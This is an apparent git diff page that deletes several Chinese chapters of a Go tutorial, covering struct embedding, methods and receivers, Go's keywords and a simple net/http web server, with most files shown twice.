让我们来看一个例子,让上面说的这些更具体化
package main
import "fmt"
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // 匿名字段那么默认Student就包含了Human的所有字段
speciality string
}
func main() {
// 我们初始化一个学生
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
// 我们访问相应的字段
fmt.Println("His name is ", mark.name)
fmt.Println("His age is ", mark.age)
fmt.Println("His weight is ", mark.weight)
fmt.Println("His speciality is ", mark.speciality)
// 修改对应的备注信息
mark.speciality = "AI"
fmt.Println("Mark changed his speciality")
fmt.Println("His speciality is ", mark.speciality)
// 修改他的年龄信息
fmt.Println("Mark become old")
mark.age = 46
fmt.Println("His age is", mark.age)
// 修改他的体重信息
fmt.Println("Mark is not an athlet anymore")
mark.weight += 60
fmt.Println("His weight is", mark.weight)
}
图例如下:
![](images/2.4.student_struct.png?raw=true)
图2.7 struct组合Student组合了Human struct和string基本类型
我们看到Student访问属性age和name的时候就像访问自己所有用的字段一样匿名字段就是这样能够实现字段的继承。是不是很酷啊还有比这个更酷的呢那就是student还能访问Human这个字段作为字段名。请看下面的代码是不是更酷了。
mark.Human = Human{"Marcus", 55, 220}
mark.Human.age -= 1
通过匿名访问和修改字段相当的有用但是不仅仅是struct字段哦所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子
package main
import "fmt"
type Skills []string
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // 匿名字段struct
Skills // 匿名字段自定义的类型string slice
int // 内置类型作为匿名字段
speciality string
}
func main() {
// 初始化学生Jane
jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"}
// 现在我们来访问相应的字段
fmt.Println("Her name is ", jane.name)
fmt.Println("Her age is ", jane.age)
fmt.Println("Her weight is ", jane.weight)
fmt.Println("Her speciality is ", jane.speciality)
// 我们来修改他的skill技能字段
jane.Skills = []string{"anatomy"}
fmt.Println("Her skills are ", jane.Skills)
fmt.Println("She acquired two new ones ")
jane.Skills = append(jane.Skills, "physics", "golang")
fmt.Println("Her skills now are ", jane.Skills)
// 修改匿名内置类型字段
jane.int = 3
fmt.Println("Her preferred number is", jane.int)
}
从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段而且可以在相应的字段上面进行函数操作如例子中的append
这里有一个问题如果human里面有一个字段叫做phone而student也有一个字段叫做phone那么该怎么办呢
Go里面很简单的解决了这个问题最外层的优先访问也就是当你通过`student.phone`访问的时候是访问student里面的字段而不是human里面的字段。
这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子
package main
import "fmt"
type Human struct {
name string
age int
phone string // Human类型拥有的字段
}
type Employee struct {
Human // 匿名字段Human
speciality string
phone string // 雇员的phone字段
}
func main() {
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
fmt.Println("Bob's work phone is:", Bob.phone)
// 如果我们要访问Human的phone字段
fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
## links
* [目录](<preface.md>)
* 上一章: [流程和函数](<02.3.md>)
* 下一节: [面向对象](<02.5.md>)

View File

@@ -1,325 +0,0 @@
# 2.5 面向对象
前面两章我们介绍了函数和struct那你是否想过函数当作struct的字段一样来处理呢今天我们就讲解一下函数的另一种形态带有接收者的函数我们称为`method`
## method
现在假设有这么一个场景你定义了一个struct叫做长方形你现在想要计算他的面积那么按照我们一般的思路应该会用下面的方式来实现
package main
import "fmt"
type Rectangle struct {
width, height float64
}
func area(r Rectangle) float64 {
return r.width*r.height
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
fmt.Println("Area of r1 is: ", area(r1))
fmt.Println("Area of r2 is: ", area(r2))
}
这段代码可以计算出来长方形的面积但是area()不是作为Rectangle的方法实现的类似面向对象里面的方法而是将Rectangle的对象如r1,r2作为参数传入函数计算面积的。
这样实现当然没有问题咯,但是当需要增加圆形、正方形、五边形甚至其它多边形的时候,你想计算他们的面积的时候怎么办啊?那就只能增加新的函数咯,但是函数名你就必须要跟着换了,变成`area_rectangle, area_circle, area_triangle...`
像下图所表示的那样, 椭圆代表函数, 而这些函数并不从属于struct(或者以面向对象的术语来说并不属于class)他们是单独存在于struct外围而非在概念上属于某个struct的。
![](images/2.5.rect_func_without_receiver.png?raw=true)
图2.8 方法和struct的关系图
很显然,这样的实现并不优雅,并且从概念上来说"面积"是"形状"的一个属性,它是属于这个特定的形状的,就像长方形的长和宽一样。
基于上面的原因所以就有了`method`的概念,`method`是附属在一个给定的类型上的,他的语法和函数的声明语法几乎一样,只是在`func`后面增加了一个receiver(也就是method所依从的主体)。
用上面提到的形状的例子来说method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle area()是属于Rectangle的方法而非一个外围函数。
更具体地说Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。
用Rob Pike的话来说就是
>"A method is a function with an implicit first argument, called a receiver."
method的语法如下
func (r ReceiverType) funcName(parameters) (results)
下面我们用最开始的例子用method来实现
package main
import (
"fmt"
"math"
)
type Rectangle struct {
width, height float64
}
type Circle struct {
radius float64
}
func (r Rectangle) area() float64 {
return r.width*r.height
}
func (c Circle) area() float64 {
return c.radius * c.radius * math.Pi
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
c1 := Circle{10}
c2 := Circle{25}
fmt.Println("Area of r1 is: ", r1.area())
fmt.Println("Area of r2 is: ", r2.area())
fmt.Println("Area of c1 is: ", c1.area())
fmt.Println("Area of c2 is: ", c2.area())
}
在使用method的时候重要注意几点
- 虽然method的名字一模一样但是如果接收者不一样那么method就不一样
- method里面可以访问接收者的字段
- 调用method通过`.`访问就像struct里面访问字段一样
图示如下:
![](images/2.5.shapes_func_with_receiver_cp.png?raw=true)
图2.9 不同struct的method不同
在上例method area() 分别属于Rectangle和Circle 于是他们的 Receiver 就变成了Rectangle 和 Circle, 或者说这个area()方法 是由 Rectangle/Circle 发出的。
>值得说明的一点是图示中method用虚线标出意思是此处方法的Receiver是以值传递而非引用传递是的Receiver还可以是指针, 两者的差别在于, 指针作为Receiver会对实例对象的内容发生操作,而普通类型作为Receiver仅仅是以副本作为操作对象,并不对原实例对象发生操作。后文对此会有详细论述。
那是不是method只能作用在struct上面呢当然不是咯他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了什么叫自定义类型自定义类型不就是struct嘛不是这样的哦struct只是自定义类型里面一种比较特殊的类型而已还有其他自定义类型申明可以通过如下这样的申明来实现。
type typeName typeLiteral
请看下面这个申明自定义类型的代码
type ages int
type money float32
type months map[string]int
m := months {
"January":31,
"February":28,
...
"December":31,
}
看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef例如上面ages替代了int
好了,让我们回到`method`
你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子
package main
import "fmt"
const(
WHITE = iota
BLACK
BLUE
RED
YELLOW
)
type Color byte
type Box struct {
width, height, depth float64
color Color
}
type BoxList []Box //a slice of boxes
func (b Box) Volume() float64 {
return b.width * b.height * b.depth
}
func (b *Box) SetColor(c Color) {
b.color = c
}
func (bl BoxList) BiggestColor() Color {
v := 0.00
k := Color(WHITE)
for _, b := range bl {
if bv := b.Volume(); bv > v {
v = bv
k = b.color
}
}
return k
}
func (bl BoxList) PaintItBlack() {
for i, _ := range bl {
bl[i].SetColor(BLACK)
}
}
func (c Color) String() string {
strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
return strings[c]
}
func main() {
boxes := BoxList {
Box{4, 4, 4, RED},
Box{10, 10, 1, YELLOW},
Box{1, 1, 20, BLACK},
Box{10, 10, 1, BLUE},
Box{10, 30, 1, WHITE},
Box{20, 20, 20, YELLOW},
}
fmt.Printf("We have %d boxes in our set\n", len(boxes))
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
fmt.Println("The biggest one is", boxes.BiggestColor().String())
fmt.Println("Let's paint them all black")
boxes.PaintItBlack()
fmt.Println("The color of the second one is", boxes[1].color.String())
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String())
}
上面的代码通过const定义了一些常量然后定义了一些自定义类型
- Color作为byte的别名
- 定义了一个struct:Box含有三个长宽高字段和一个颜色属性
- 定义了一个slice:BoxList含有Box
然后以上面的自定义类型为接收者定义了一些method
- Volume()定义了接收者为Box返回Box的容量
- SetColor(c Color)把Box的颜色改为c
- BiggestColor()定在在BoxList上面返回list里面容量最大的颜色
- PaintItBlack()把BoxList里面所有Box的颜色全部变成黑色
- String()定义在Color上面返回Color的具体颜色(字符串格式)
上面的代码通过文字描述出来之后是不是很简单?我们一般解决问题都是通过问题的描述,去写相应的代码实现。
### 指针作为receiver
现在让我们回过头来看看SetColor这个method它的receiver是一个指向Box的指针是的你可以使用*Box。想想为啥要使用指针而不是Box本身呢
我们定义SetColor的真正目的是想改变这个Box的颜色如果不传Box的指针那么SetColor接受的其实是Box的一个copy也就是说method内对于颜色值的修改其实只作用于Box的copy而不是真正的Box。所以我们需要传入指针。
这里可以把receiver当作method的第一个参数来看然后结合前面函数讲解的传值和传引用就不难理解
这里你也许会问了那SetColor函数里面应该这样定义`*b.Color=c`,而不是`b.Color=c`,因为我们需要读取到指针相应的值。
你是对的其实Go里面这两种方式都是正确的当你用指针去访问相应的字段时(虽然指针没有任何的字段)Go知道你要通过指针去获取这个值看到了吧Go的设计是不是越来越吸引你了。
也许细心的读者会问这样的问题PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`因为SetColor的receiver是*Box而不是Box。
你又说对的这两种方式都可以因为Go知道receiver是指针他自动帮你转了。
也就是说:
>如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method而不需要&V去调用这个method
类似的
>如果一个method的receiver是T你可以在一个*T类型的变量P上面调用这个method而不需要 *P去调用这个method
所以你不用担心你是调用的指针的method还是不是指针的methodGo知道你要做的一切这对于有多年C/C++编程经验的同学来说,真是解决了一个很大的痛苦。
### method继承
前面一章我们学习了字段的继承那么你也会发现Go的一个神奇之处method也是可以继承的。如果匿名字段实现了一个method那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
}
type Employee struct {
Human //匿名字段
company string
}
//在human上面定义了一个method
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
### method重写
上面的例子中如果Employee想要实现自己的SayHi,怎么办简单和匿名字段冲突一样的道理我们可以在Employee上面定义一个method重写了匿名字段的方法。请看下面的例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
}
type Employee struct {
Human //匿名字段
company string
}
//Human定义method
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
//Employee的method重写Human的method
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
上面的代码设计的是如此的美妙让人不自觉的为Go的设计惊叹
通过这些内容我们可以设计出基本的面向对象的程序了但是Go里面的面向对象是如此的简单没有任何的私有、公有关键字通过大小写来实现(大写开头的为公有,小写开头的为私有),方法也同样适用这个原则。
## links
* [目录](<preface.md>)
* 上一章: [struct类型](<02.4.md>)
* 下一节: [interface](<02.6.md>)

View File

@@ -1,325 +0,0 @@
# 2.5 面向对象
前面两章我们介绍了函数和struct那你是否想过函数当作struct的字段一样来处理呢今天我们就讲解一下函数的另一种形态带有接收者的函数我们称为`method`
## method
现在假设有这么一个场景你定义了一个struct叫做长方形你现在想要计算他的面积那么按照我们一般的思路应该会用下面的方式来实现
package main
import "fmt"
type Rectangle struct {
width, height float64
}
func area(r Rectangle) float64 {
return r.width*r.height
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
fmt.Println("Area of r1 is: ", area(r1))
fmt.Println("Area of r2 is: ", area(r2))
}
这段代码可以计算出来长方形的面积但是area()不是作为Rectangle的方法实现的类似面向对象里面的方法而是将Rectangle的对象如r1,r2作为参数传入函数计算面积的。
这样实现当然没有问题咯,但是当需要增加圆形、正方形、五边形甚至其它多边形的时候,你想计算他们的面积的时候怎么办啊?那就只能增加新的函数咯,但是函数名你就必须要跟着换了,变成`area_rectangle, area_circle, area_triangle...`
像下图所表示的那样, 椭圆代表函数, 而这些函数并不从属于struct(或者以面向对象的术语来说并不属于class)他们是单独存在于struct外围而非在概念上属于某个struct的。
![](images/2.5.rect_func_without_receiver.png?raw=true)
图2.8 方法和struct的关系图
很显然,这样的实现并不优雅,并且从概念上来说"面积"是"形状"的一个属性,它是属于这个特定的形状的,就像长方形的长和宽一样。
基于上面的原因所以就有了`method`的概念,`method`是附属在一个给定的类型上的,他的语法和函数的声明语法几乎一样,只是在`func`后面增加了一个receiver(也就是method所依从的主体)。
用上面提到的形状的例子来说method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle area()是属于Rectangle的方法而非一个外围函数。
更具体地说Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。
用Rob Pike的话来说就是
>"A method is a function with an implicit first argument, called a receiver."
method的语法如下
func (r ReceiverType) funcName(parameters) (results)
下面我们用最开始的例子用method来实现
package main
import (
"fmt"
"math"
)
type Rectangle struct {
width, height float64
}
type Circle struct {
radius float64
}
func (r Rectangle) area() float64 {
return r.width*r.height
}
func (c Circle) area() float64 {
return c.radius * c.radius * math.Pi
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
c1 := Circle{10}
c2 := Circle{25}
fmt.Println("Area of r1 is: ", r1.area())
fmt.Println("Area of r2 is: ", r2.area())
fmt.Println("Area of c1 is: ", c1.area())
fmt.Println("Area of c2 is: ", c2.area())
}
在使用method的时候重要注意几点
- 虽然method的名字一模一样但是如果接收者不一样那么method就不一样
- method里面可以访问接收者的字段
- 调用method通过`.`访问就像struct里面访问字段一样
图示如下:
![](images/2.5.shapes_func_with_receiver_cp.png?raw=true)
图2.9 不同struct的method不同
在上例method area() 分别属于Rectangle和Circle 于是他们的 Receiver 就变成了Rectangle 和 Circle, 或者说这个area()方法 是由 Rectangle/Circle 发出的。
>值得说明的一点是图示中method用虚线标出意思是此处方法的Receiver是以值传递而非引用传递是的Receiver还可以是指针, 两者的差别在于, 指针作为Receiver会对实例对象的内容发生操作,而普通类型作为Receiver仅仅是以副本作为操作对象,并不对原实例对象发生操作。后文对此会有详细论述。
那是不是method只能作用在struct上面呢当然不是咯他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了什么叫自定义类型自定义类型不就是struct嘛不是这样的哦struct只是自定义类型里面一种比较特殊的类型而已还有其他自定义类型申明可以通过如下这样的申明来实现。
type typeName typeLiteral
请看下面这个申明自定义类型的代码
type ages int
type money float32
type months map[string]int
m := months {
"January":31,
"February":28,
...
"December":31,
}
看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef例如上面ages替代了int
好了,让我们回到`method`
你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子
package main
import "fmt"
const(
WHITE = iota
BLACK
BLUE
RED
YELLOW
)
type Color byte
type Box struct {
width, height, depth float64
color Color
}
type BoxList []Box //a slice of boxes
func (b Box) Volume() float64 {
return b.width * b.height * b.depth
}
func (b *Box) SetColor(c Color) {
b.color = c
}
func (bl BoxList) BiggestColor() Color {
v := 0.00
k := Color(WHITE)
for _, b := range bl {
if bv := b.Volume(); bv > v {
v = bv
k = b.color
}
}
return k
}
func (bl BoxList) PaintItBlack() {
for i, _ := range bl {
bl[i].SetColor(BLACK)
}
}
func (c Color) String() string {
strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
return strings[c]
}
func main() {
boxes := BoxList {
Box{4, 4, 4, RED},
Box{10, 10, 1, YELLOW},
Box{1, 1, 20, BLACK},
Box{10, 10, 1, BLUE},
Box{10, 30, 1, WHITE},
Box{20, 20, 20, YELLOW},
}
fmt.Printf("We have %d boxes in our set\n", len(boxes))
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
fmt.Println("The biggest one is", boxes.BiggestColor().String())
fmt.Println("Let's paint them all black")
boxes.PaintItBlack()
fmt.Println("The color of the second one is", boxes[1].color.String())
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String())
}
上面的代码通过const定义了一些常量然后定义了一些自定义类型
- Color作为byte的别名
- 定义了一个struct:Box含有三个长宽高字段和一个颜色属性
- 定义了一个slice:BoxList含有Box
然后以上面的自定义类型为接收者定义了一些method
- Volume()定义了接收者为Box返回Box的容量
- SetColor(c Color)把Box的颜色改为c
- BiggestColor()定在在BoxList上面返回list里面容量最大的颜色
- PaintItBlack()把BoxList里面所有Box的颜色全部变成黑色
- String()定义在Color上面返回Color的具体颜色(字符串格式)
上面的代码通过文字描述出来之后是不是很简单?我们一般解决问题都是通过问题的描述,去写相应的代码实现。
### 指针作为receiver
现在让我们回过头来看看SetColor这个method它的receiver是一个指向Box的指针是的你可以使用*Box。想想为啥要使用指针而不是Box本身呢
我们定义SetColor的真正目的是想改变这个Box的颜色如果不传Box的指针那么SetColor接受的其实是Box的一个copy也就是说method内对于颜色值的修改其实只作用于Box的copy而不是真正的Box。所以我们需要传入指针。
这里可以把receiver当作method的第一个参数来看然后结合前面函数讲解的传值和传引用就不难理解
这里你也许会问了那SetColor函数里面应该这样定义`*b.Color=c`,而不是`b.Color=c`,因为我们需要读取到指针相应的值。
你是对的其实Go里面这两种方式都是正确的当你用指针去访问相应的字段时(虽然指针没有任何的字段)Go知道你要通过指针去获取这个值看到了吧Go的设计是不是越来越吸引你了。
也许细心的读者会问这样的问题PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`因为SetColor的receiver是*Box而不是Box。
你又说对的这两种方式都可以因为Go知道receiver是指针他自动帮你转了。
也就是说:
>如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method而不需要&V去调用这个method
类似的
>如果一个method的receiver是T你可以在一个*T类型的变量P上面调用这个method而不需要 *P去调用这个method
所以你不用担心你是调用的指针的method还是不是指针的methodGo知道你要做的一切这对于有多年C/C++编程经验的同学来说,真是解决了一个很大的痛苦。
### method继承
前面一章我们学习了字段的继承那么你也会发现Go的一个神奇之处method也是可以继承的。如果匿名字段实现了一个method那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
}
type Employee struct {
Human //匿名字段
company string
}
//在human上面定义了一个method
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
### method重写
上面的例子中如果Employee想要实现自己的SayHi,怎么办简单和匿名字段冲突一样的道理我们可以在Employee上面定义一个method重写了匿名字段的方法。请看下面的例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
}
type Employee struct {
Human //匿名字段
company string
}
//Human定义method
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
//Employee的method重写Human的method
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
上面的代码设计的是如此的美妙让人不自觉的为Go的设计惊叹
通过这些内容我们可以设计出基本的面向对象的程序了但是Go里面的面向对象是如此的简单没有任何的私有、公有关键字通过大小写来实现(大写开头的为公有,小写开头的为私有),方法也同样适用这个原则。
## links
* [目录](<preface.md>)
* 上一章: [struct类型](<02.4.md>)
* 下一节: [interface](<02.6.md>)

View File

@@ -1,31 +0,0 @@
# 2.8 总结
这一章我们主要介绍了Go语言的一些语法通过语法我们可以发现Go是多么的简单只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
- var和const参考2.2Go语言基础里面的变量和常量申明
- package和import已经有过短暂的接触
- func 用于定义函数和方法
- return 用于从函数返回
- defer 用于类似析构函数
- go 用于并发
- select 用于选择不同类型的通讯
- interface 用于定义接口参考2.6小节
- struct 用于定义抽象数据类型参考2.5小节
- break、case、continue、for、fallthrough、else、if、switch、goto、default这些参考2.3流程介绍里面
- chan用于channel通讯
- type用于声明自定义类型
- map用于声明map类型数据
- range用于读取slice、map、channel数据
上面这二十五个关键字记住了那么Go你也已经差不多学会了。
## links
* [目录](<preface.md>)
* 上一节: [并发](<02.7.md>)
* 下一章: [Web基础](<03.0.md>)

View File

@@ -1,31 +0,0 @@
# 2.8 总结
这一章我们主要介绍了Go语言的一些语法通过语法我们可以发现Go是多么的简单只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
- var和const参考2.2Go语言基础里面的变量和常量申明
- package和import已经有过短暂的接触
- func 用于定义函数和方法
- return 用于从函数返回
- defer 用于类似析构函数
- go 用于并发
- select 用于选择不同类型的通讯
- interface 用于定义接口参考2.6小节
- struct 用于定义抽象数据类型参考2.5小节
- break、case、continue、for、fallthrough、else、if、switch、goto、default这些参考2.3流程介绍里面
- chan用于channel通讯
- type用于声明自定义类型
- map用于声明map类型数据
- range用于读取slice、map、channel数据
上面这二十五个关键字记住了那么Go你也已经差不多学会了。
## links
* [目录](<preface.md>)
* 上一节: [并发](<02.7.md>)
* 下一章: [Web基础](<03.0.md>)

View File

@@ -1,11 +0,0 @@
# 3 Web基础
学习基于Web的编程可能正是你读本书的原因。事实上如何通过Go来编写Web应用也是我编写这本书的初衷。前面已经介绍过Go目前已经拥有了成熟的HTTP处理包这使得编写能做任何事情的动态Web程序易如反掌。在接下来的各章中将要介绍的内容都是属于Web编程的范畴。本章则集中讨论一些与Web相关的概念和Go如何运行Web程序的话题。
## 目录
![](images/navi3.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第二章总结](<02.8.md>)
* 下一节: [Web工作方式](<03.1.md>)

View File

@@ -1,11 +0,0 @@
# 3 Web基础
学习基于Web的编程可能正是你读本书的原因。事实上如何通过Go来编写Web应用也是我编写这本书的初衷。前面已经介绍过Go目前已经拥有了成熟的HTTP处理包这使得编写能做任何事情的动态Web程序易如反掌。在接下来的各章中将要介绍的内容都是属于Web编程的范畴。本章则集中讨论一些与Web相关的概念和Go如何运行Web程序的话题。
## 目录
![](images/navi3.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第二章总结](<02.8.md>)
* 下一节: [Web工作方式](<03.1.md>)

View File

@@ -1,66 +0,0 @@
# 3.2 Go搭建一个Web服务器
前面小节已经介绍了Web是基于http协议的一个服务Go语言里面提供了一个完善的net/http包通过http包可以很方便的就搭建起来一个可以运行的Web服务。同时使用这个包能很简单地对Web的路由静态文件模版cookie等数据进行设置和操作。
## http包建立Web服务器
package main
import (
"fmt"
"net/http"
"strings"
"log"
)
func sayhelloName(w http.ResponseWriter, r *http.Request) {
r.ParseForm() //解析参数,默认是不会解析的
fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println(r.Form["url_long"])
for k, v := range r.Form {
fmt.Println("key:", k)
fmt.Println("val:", strings.Join(v, ""))
}
fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的
}
func main() {
http.HandleFunc("/", sayhelloName) //设置访问的路由
err := http.ListenAndServe(":9090", nil) //设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
上面这个代码我们build之后然后执行web.exe,这个时候其实已经在9090端口监听http链接请求了。
在浏览器输入`http://localhost:9090`
可以看到浏览器页面输出了`Hello astaxie!`
可以换一个地址试试:`http://localhost:9090/?url_long=111&url_long=222`
看看浏览器输出的是什么,服务器输出的是什么?
在服务器端输出的信息如下:
![](images/3.2.goweb.png?raw=true)
图3.8 用户访问Web之后服务器端打印的信息
我们看到上面的代码要编写一个Web服务器很简单只要调用http包的两个函数就可以了。
>如果你以前是PHP程序员那你也许就会问我们的nginx、apache服务器不需要吗Go就是不需要这些因为他直接就监听tcp端口了做了nginx做的事情然后sayhelloName这个其实就是我们写的逻辑函数了跟php里面的控制层controller函数类似。
>如果你以前是Python程序员那么你一定听说过tornado这个代码和他是不是很像没错Go就是拥有类似Python这样动态语言的特性写Web应用很方便。
>如果你以前是Ruby程序员会发现和ROR的/script/server启动有点类似。
我们看到Go通过简单的几行代码就已经运行起来一个Web服务了而且这个Web服务内部有支持高并发的特性我将会在接下来的两个小节里面详细的讲解一下Go是如何实现Web高并发的。
## links
* [目录](<preface.md>)
* 上一节: [Web工作方式](<03.1.md>)
* 下一节: [Go如何使得web工作](<03.3.md>)

View File

@@ -1,66 +0,0 @@
# 3.2 Go搭建一个Web服务器
前面小节已经介绍了Web是基于http协议的一个服务Go语言里面提供了一个完善的net/http包通过http包可以很方便的就搭建起来一个可以运行的Web服务。同时使用这个包能很简单地对Web的路由静态文件模版cookie等数据进行设置和操作。
## http包建立Web服务器
package main
import (
"fmt"
"net/http"
"strings"
"log"
)
func sayhelloName(w http.ResponseWriter, r *http.Request) {
r.ParseForm() //解析参数,默认是不会解析的
fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println(r.Form["url_long"])
for k, v := range r.Form {
fmt.Println("key:", k)
fmt.Println("val:", strings.Join(v, ""))
}
fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的
}
func main() {
http.HandleFunc("/", sayhelloName) //设置访问的路由
err := http.ListenAndServe(":9090", nil) //设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
上面这个代码我们build之后然后执行web.exe,这个时候其实已经在9090端口监听http链接请求了。
在浏览器输入`http://localhost:9090`
可以看到浏览器页面输出了`Hello astaxie!`
可以换一个地址试试:`http://localhost:9090/?url_long=111&url_long=222`
看看浏览器输出的是什么,服务器输出的是什么?
在服务器端输出的信息如下:
![](images/3.2.goweb.png?raw=true)
图3.8 用户访问Web之后服务器端打印的信息
我们看到上面的代码要编写一个Web服务器很简单只要调用http包的两个函数就可以了。
>如果你以前是PHP程序员那你也许就会问我们的nginx、apache服务器不需要吗Go就是不需要这些因为他直接就监听tcp端口了做了nginx做的事情然后sayhelloName这个其实就是我们写的逻辑函数了跟php里面的控制层controller函数类似。
>如果你以前是Python程序员那么你一定听说过tornado这个代码和他是不是很像没错Go就是拥有类似Python这样动态语言的特性写Web应用很方便。
>如果你以前是Ruby程序员会发现和ROR的/script/server启动有点类似。
我们看到Go通过简单的几行代码就已经运行起来一个Web服务了而且这个Web服务内部有支持高并发的特性我将会在接下来的两个小节里面详细的讲解一下Go是如何实现Web高并发的。
## links
* [目录](<preface.md>)
* 上一节: [Web工作方式](<03.1.md>)
* 下一节: [Go如何使得web工作](<03.3.md>)

View File

@@ -1,25 +0,0 @@
# 4 表单
表单是我们平常编写Web应用常用的工具通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢?
表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\<form\>)定义。
<form>
...
input 元素
...
</form>
Go里面对于form处理已经有很方便的方法了在Request里面的有专门的form处理可以很方便的整合到Web开发里面来4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入所以我们需要对这些输入进行有效性验证4.2小节将就如何进行一些普通的验证进行详细的演示。
HTTP协议是一种无状态的协议那么如何才能辨别是否是同一个用户呢同时又如何保证一个表单不出现多次递交的情况呢4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息能够每次通过header和服务器进行交互的数据)等进行详细讲解。
表单还有一个很大的功能就是能够上传文件那么Go是如何处理文件上传的呢针对大文件上传我们如何有效的处理呢4.5小节我们将一起学习Go处理文件上传的知识。
## 目录
![](images/navi4.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第三章总结](<03.5.md>)
* 下一节: [处理表单的输入](<04.1.md>)

View File

@@ -1,25 +0,0 @@
# 4 表单
